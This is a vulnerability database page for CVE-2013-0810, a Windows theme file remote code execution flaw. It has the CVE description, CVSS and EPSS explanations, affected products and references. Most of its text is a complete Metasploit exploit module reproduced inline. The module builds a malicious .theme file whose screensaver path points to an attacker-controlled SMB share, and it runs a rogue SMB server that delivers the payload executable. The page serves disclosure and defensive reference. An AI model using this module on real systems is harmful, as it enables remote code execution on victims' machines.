CVE-2013-0810 : Detail

CVE-2013-0810

8.1
/
High
Code Injection
A03-Injection
83.29%V4
Network
2013-09-11
08h00 +00:00
2024-10-21
16h50 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, and Windows Server 2008 SP2 allow remote attackers to execute arbitrary code via a crafted screensaver in a theme file, aka "Windows Theme File Remote Code Execution Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 28482

Publication date : 2013-09-22 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::SMBServer def initialize(info={}) super(update_info(info, 'Name' => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution", 'Description' => %q{ This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows 2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot] section. An arbitrary path can be used as screen saver, including a remote SMB resource, which allows for remote code execution when a malicious .theme file is opened, and the "Screen Saver" tab is viewed. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eduardo Prado', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2013-0810'], ['OSVDB', '97136'], ['MSB', 'MS13-071'], ['BID', '62176'] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 / Windows 2003 SP2', {}], ], 'Privileged' => false, 'DisclosureDate' => "Sep 10 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ]) ], self.class) end def exploit if (datastore['UNCPATH']) @unc = datastore['UNCPATH'] print_status("Remember to share the malicious EXE payload as #{@unc}") else print_status("Generating our malicious executable...") @exe = generate_payload_exe my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] @share = rand_text_alpha(5 + rand(5)) @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr" @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i) @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}" end print_status("Creating '#{datastore['FILENAME']}' file ...") # Default Windows XP / 2003 theme modified theme = <<-EOF ; Copyright © Microsoft Corp. 1995-2001 [Theme] DisplayName=@themeui.dll,-2016 ; My Computer [CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon] DefaultValue=%WinDir%explorer.exe,0 ; My Documents [CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon] DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0 ; My Network Places [CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon] DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17 ; Recycle Bin [CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon] full=%WinDir%SYSTEM32\\shell32.dll,32 empty=%WinDir%SYSTEM32\\shell32.dll,31 [Control Panel\\Desktop] Wallpaper= TileWallpaper=0 WallpaperStyle=2 Pattern= ScreenSaveActive=0 [boot] SCRNSAVE.EXE=#{@unc} [MasterThemeSelector] MTSM=DABJDKT EOF file_create(theme) print_good("Let your victim open #{datastore['FILENAME']}") if not datastore['UNCPATH'] print_status("Ready to deliver your payload on #{@unc}") super end end # TODO: these smb_* methods should be moved up to the SMBServer mixin # development and test on progress def smb_cmd_dispatch(cmd, c, buff) smb = @state[c] vprint_status("Received command #{cmd} from #{smb[:name]}") pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(buff) #Record the IDs smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] case cmd when CONST::SMB_COM_NEGOTIATE smb_cmd_negotiate(c, buff) when CONST::SMB_COM_SESSION_SETUP_ANDX wordcount = pkt['Payload']['SMB'].v['WordCount'] if wordcount == 0x0D # It's the case for Share Security Mode sessions smb_cmd_session_setup(c, buff) else vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) end when CONST::SMB_COM_TRANSACTION2 smb_cmd_trans(c, buff) when CONST::SMB_COM_NT_CREATE_ANDX smb_cmd_create(c, buff) when CONST::SMB_COM_READ_ANDX smb_cmd_read(c, buff) else vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})") smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) end end def smb_cmd_negotiate(c, buff) pkt = CONST::SMB_NEG_PKT.make_struct pkt.from_s(buff) dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/) dialect = dialects.index("NT LM 0.12") || dialects.length-1 pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct smb_set_defaults(c, pkt) time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 17 pkt['Payload'].v['Dialect'] = dialect pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode pkt['Payload'].v['MaxMPX'] = 50 pkt['Payload'].v['MaxVCS'] = 1 pkt['Payload'].v['MaxBuff'] = 4356 pkt['Payload'].v['MaxRaw'] = 65536 pkt['Payload'].v['SystemTimeLow'] = time_lo pkt['Payload'].v['SystemTimeHigh'] = time_hi pkt['Payload'].v['ServerTimeZone'] = 0x0 pkt['Payload'].v['SessionKey'] = 0 pkt['Payload'].v['Capabilities'] = 0x80f3fd pkt['Payload'].v['KeyLength'] = 8 pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8) c.put(pkt.to_s) end def smb_cmd_session_setup(c, buff) pkt = CONST::SMB_SETUP_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 3 pkt['Payload'].v['AndX'] = 0x75 pkt['Payload'].v['Reserved1'] = 00 pkt['Payload'].v['AndXOffset'] = 96 pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest pkt['Payload'].v['Payload'] = Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature tree_connect_response = "" tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount tree_connect_response << "A:\x00" # Service tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters # Fix the Netbios Session Service Message Length # to have into account the tree_connect_response, # need to do this because there isn't support for # AndX still my_pkt = pkt.to_s + tree_connect_response original_length = my_pkt[2, 2].unpack("n").first original_length = original_length + tree_connect_response.length my_pkt[2, 2] = [original_length].pack("n") c.put(my_pkt) end def smb_cmd_create(c, buff) pkt = CONST::SMB_CREATE_PKT.make_struct pkt.from_s(buff) if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/ pkt = CONST::SMB_CREATE_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 42 pkt['Payload'].v['AndX'] = 0xff # no further commands pkt['Payload'].v['OpLock'] = 0x2 # No need to track fid here, we're just offering one file pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0 pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened pkt['Payload'].v['CreateTimeLow'] = @lo pkt['Payload'].v['CreateTimeHigh'] = @hi pkt['Payload'].v['AccessTimeLow'] = @lo pkt['Payload'].v['AccessTimeHigh'] = @hi pkt['Payload'].v['WriteTimeLow'] = @lo pkt['Payload'].v['WriteTimeHigh'] = @hi pkt['Payload'].v['ChangeTimeLow'] = @lo pkt['Payload'].v['ChangeTimeHigh'] = @hi pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file pkt['Payload'].v['AllocLow'] = 0x100000 pkt['Payload'].v['AllocHigh'] = 0 pkt['Payload'].v['EOFLow'] = @exe.length pkt['Payload'].v['EOFHigh'] = 0 pkt['Payload'].v['FileType'] = 0 pkt['Payload'].v['IPCState'] = 0x7 pkt['Payload'].v['IsDirectory'] = 0 c.put(pkt.to_s) else pkt = CONST::SMB_CREATE_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 c.put(pkt.to_s) end end def smb_cmd_read(c, buff) pkt = CONST::SMB_READ_PKT.make_struct pkt.from_s(buff) offset = pkt['Payload'].v['Offset'] length = pkt['Payload'].v['MaxCountLow'] pkt = CONST::SMB_READ_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 12 pkt['Payload'].v['AndX'] = 0xff # no more commands pkt['Payload'].v['Remaining'] = 0xffff pkt['Payload'].v['DataLenLow'] = length pkt['Payload'].v['DataOffset'] = 59 pkt['Payload'].v['DataLenHigh'] = 0 pkt['Payload'].v['Reserved3'] = 0 pkt['Payload'].v['Reserved4'] = 6 pkt['Payload'].v['ByteCount'] = length pkt['Payload'].v['Payload'] = @exe[offset, length] c.put(pkt.to_s) end def smb_cmd_trans(c, buff) pkt = CONST::SMB_TRANS2_PKT.make_struct pkt.from_s(buff) sub_command = pkt['Payload'].v['SetupData'].unpack("v").first case sub_command when 0x5 # QUERY_PATH_INFO smb_cmd_trans_query_path_info(c, buff) when 0x1 # FIND_FIRST2 smb_cmd_trans_find_first2(c, buff) else pkt = CONST::SMB_TRANS_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND c.put(pkt.to_s) end end def smb_cmd_trans_query_path_info(c, buff) pkt = CONST::SMB_TRANS2_PKT.make_struct pkt.from_s(buff) if pkt['Payload'].v['SetupData'].length < 16 # if QUERY_PATH_INFO_PARAMETERS doesn't include a file name, # return a Directory answer pkt = CONST::SMB_TRANS_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 10 pkt['Payload'].v['ParamCountTotal'] = 2 pkt['Payload'].v['DataCountTotal'] = 40 pkt['Payload'].v['ParamCount'] = 2 pkt['Payload'].v['ParamOffset'] = 56 pkt['Payload'].v['DataCount'] = 40 pkt['Payload'].v['DataOffset'] = 60 pkt['Payload'].v['Payload'] = "\x00" + # Padding # QUERY_PATH_INFO Parameters "\x00\x00" + # EA Error Offset "\x00\x00" + # Padding #QUERY_PATH_INFO Data [@lo, @hi].pack("VV") + # Created [@lo, @hi].pack("VV") + # Last Access [@lo, @hi].pack("VV") + # Last Write [@lo, @hi].pack("VV") + # Change "\x10\x00\x00\x00" + # File attributes => directory "\x00\x00\x00\x00" # Unknown c.put(pkt.to_s) else # if QUERY_PATH_INFO_PARAMETERS includes a file name, # returns an object name not found error pkt = CONST::SMB_TRANS_RES_PKT.make_struct smb_set_defaults(c, pkt) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 c.put(pkt.to_s) end end def smb_cmd_trans_find_first2(c, buff) pkt = CONST::SMB_TRANS_RES_PKT.make_struct smb_set_defaults(c, pkt) file_name = Rex::Text.to_unicode(@scr_file) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x88 pkt['Payload']['SMB'].v['Flags2'] = 0xc001 pkt['Payload']['SMB'].v['WordCount'] = 10 pkt['Payload'].v['ParamCountTotal'] = 10 pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length pkt['Payload'].v['ParamCount'] = 10 pkt['Payload'].v['ParamOffset'] = 56 pkt['Payload'].v['DataCount'] = 94 + file_name.length pkt['Payload'].v['DataOffset'] = 68 pkt['Payload'].v['Payload'] = "\x00" + # Padding # FIND_FIRST2 Parameters "\xfd\xff" + # Search ID "\x01\x00" + # Search count "\x01\x00" + # End Of Search "\x00\x00" + # EA Error Offset "\x00\x00" + # Last Name Offset "\x00\x00" + # Padding #QUERY_PATH_INFO Data [94 + file_name.length].pack("V") + # Next Entry Offset "\x00\x00\x00\x00" + # File Index [@lo, @hi].pack("VV") + # Created [@lo, @hi].pack("VV") + # Last Access [@lo, @hi].pack("VV") + # Last Write [@lo, @hi].pack("VV") + # Change [@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File "\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size "\x80\x00\x00\x00" + # File attributes => directory [file_name.length].pack("V") + # File name len "\x00\x00\x00\x00" + # EA List Lenght "\x00" + # Short file lenght "\x00" + # Reserved ("\x00" * 24) + file_name c.put(pkt.to_s) end end

Products Mentioned

Configuraton 0

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

References

http://www.us-cert.gov/ncas/alerts/TA13-253A
Tags : third-party-advisory, x_refsource_CERT
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.